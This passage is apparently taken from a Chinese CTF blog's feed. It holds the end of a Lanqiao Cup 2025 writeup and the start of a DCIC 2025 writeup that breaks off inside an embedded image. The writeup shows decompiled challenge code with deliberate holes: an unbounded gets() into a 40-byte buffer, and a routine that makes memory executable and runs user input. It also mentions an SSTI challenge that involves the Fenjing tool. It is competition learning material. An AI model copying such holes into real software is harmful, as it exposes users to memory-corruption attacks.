class="type">int</span> v2; <span class="comment">// [rsp+4h] [rbp-1Ch]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = <span class="number">100</span>;</span><br><span class="line">  v5 = <span class="number">150</span>;</span><br><span class="line">  v2 = <span class="number">1</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\n==== BOSS BATTLE START ====&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v0 = v2++;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n-- Round %d --\n&quot;</span>, v0);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Player HP: %d | Boss HP: %d\n&quot;</span>, (<span class="type">unsigned</span> <span class="type">int</span>)v4, (<span class="type">unsigned</span> <span class="type">int</span>)v5);</span><br><span class="line">    v3 = (<span class="type">int</span>)(((<span class="type">double</span>)v4 / <span class="number">200.0</span> + <span class="number">0.5</span>) * (<span class="type">double</span>)<span class="number">20</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;You attack! Damage: %d\n&quot;</span>, v3);</span><br><span class="line">    v5 -= v3;</span><br><span class="line">    <span class="keyword">if</span> ( v5 &lt;= <span class="number">0</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\nDefend? (y/N): &quot;</span>);</span><br><span class="line">    v1 = getchar();</span><br><span class="line">    <span class="keyword">while</span> ( getchar() != <span class="number">10</span> )</span><br><span class="line">      ;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">121</span> || v1 == <span class="number">89</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v4 -= <span class="number">7</span>;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;You defend! Damage reduced: %d\n&quot;</span>, <span class="number">15LL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      v4 -= <span class="number">30</span>;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;No defense! Damage taken: %d\n&quot;</span>, <span class="number">30LL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v4 &lt;= <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;\n[System] Game Over...&quot;</span>);</span><br><span class="line">      boss_victory();</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\n[System] Boss defeated!&quot;</span>);</span><br><span class="line">  victory_message();</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后如果打败了 Boss，会让你说胜利宣言，此时在 <code>victory_message</code> 函数里面获取输入用的是 <code>gets</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">victory_message</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> v1[<span class="number">40</span>]; <span class="comment">// [rsp+0h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[System] Enter victory comment: &quot;</span>);</span><br><span class="line">  gets(v1);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Your comment: %s\n&quot;</span>, v1);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后 <code>v1</code> 的长度是 40，所以暂且认为这里有一个栈溢出</p><p>然后再看输了的逻辑，Boss 会说这块领地是它的了，然后会告诉你这块领地（内存）的地址（但其实程序最开始也告诉你了）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">boss_victory</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *addr; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  addr = (<span class="type">void</span> *)(exec_area &amp; <span class="number">0xFFFFFFFFFFFFF000</span>LL);</span><br><span class="line">  <span class="keyword">if</span> ( mprotect((<span class="type">void</span> *)(exec_area &amp; <span class="number">0xFFFFFFFFFFFFF000</span>LL), <span class="number">0x1000</span>uLL, <span class="number">7</span>) == <span class="number">-1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    perror(<span class="string">&quot;mprotect failed&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[BOSS] Your place is mine now %p!\n&quot;</span>, addr);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[BOSS] Say your last word to your territory: &quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, addr, <span class="number">1056uLL</span>);</span><br><span class="line">  <span class="keyword">return</span> ((__int64 (*)(<span class="type">void</span>))addr)();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里用的是 <code>read</code> 读取，看起来没有什么可以用的，而且 <code>addr</code> 是一个指针</p><p>所以大概率能利用的是那个栈溢出，但是我没有找到 <code>vuln</code> 那种可利用的函数</p><h1 id="【漏洞挖掘分析】Jdbc-once（未出）"><a href="#【漏洞挖掘分析】Jdbc-once（未出）" class="headerlink" title="【漏洞挖掘分析】Jdbc_once（未出）"></a>【漏洞挖掘分析】Jdbc_once（未出）</h1><blockquote><p>Fenjing是一款为CTF比赛设计的自动化脚本，专注于Jinja SSTI漏洞利用，旨在绕过WAF。它能自动攻击指定网站或接口，省去手动测试和fuzz WAF的时间。通过智能生成payload，支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。</p><p>（题目同时开放了8888端口和80端口，该题目允许使用互联网辅助答题，不允许使用AI作答）</p></blockquote><p>这就是公告里面说可以查的那一体，焚靖确实可以自动化测 SSTI，打开题目提供的 8888 端口就是一个焚靖，但是如果我们直接访问 80 端口就会被拦住，提示 <code>Only 127.0.0.1</code>，而我修改标头也没有绕过这一点</p><p>但是用焚靖就可以访问</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_vgV5NK4Wky.png"></p><p>没明白这题想要干嘛，说实话</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>我太菜了（呜呜呜</p><p>蓝桥初赛断网抽象归抽象，但说到底还是有点储备不足了……咱确实也不是全栈爷 &#x3D;-&#x3D;</p><p>但是但是，事不过三，蓝桥肯定不会有下一次了，我绝对不会再报蓝桥了，本来是想要弄点比赛加分才打的，但是后面发现这玩意在我们学校加分挺少的，而且报个名还有 300 块，所以肯！定！不！会！再！有！下！次！了！</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="Writeup" scheme="https://bili33.top/tags/Writeup/"/>
    
    <category term="蓝桥杯" scheme="https://bili33.top/tags/%E8%93%9D%E6%A1%A5%E6%9D%AF/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】2025 数字中国创新大赛数据安全产业积分争夺赛初赛 Writeup</title>
    <link href="https://bili33.top/posts/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/"/>
    <id>https://bili33.top/posts/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/</id>
    <published>2025-03-30T07:59:55.000Z</published>
    <updated>2026-03-31T05:59:59.340Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="数据安全"><a href="#数据安全" class="headerlink" title="数据安全"></a>数据安全</h1><h2 id="ez-upload-Rusty"><a href="#ez-upload-Rusty" class="headerlink" title="ez_upload | @Rusty"></a>ez_upload | @Rusty</h2><p><img src="data:image/png;base64,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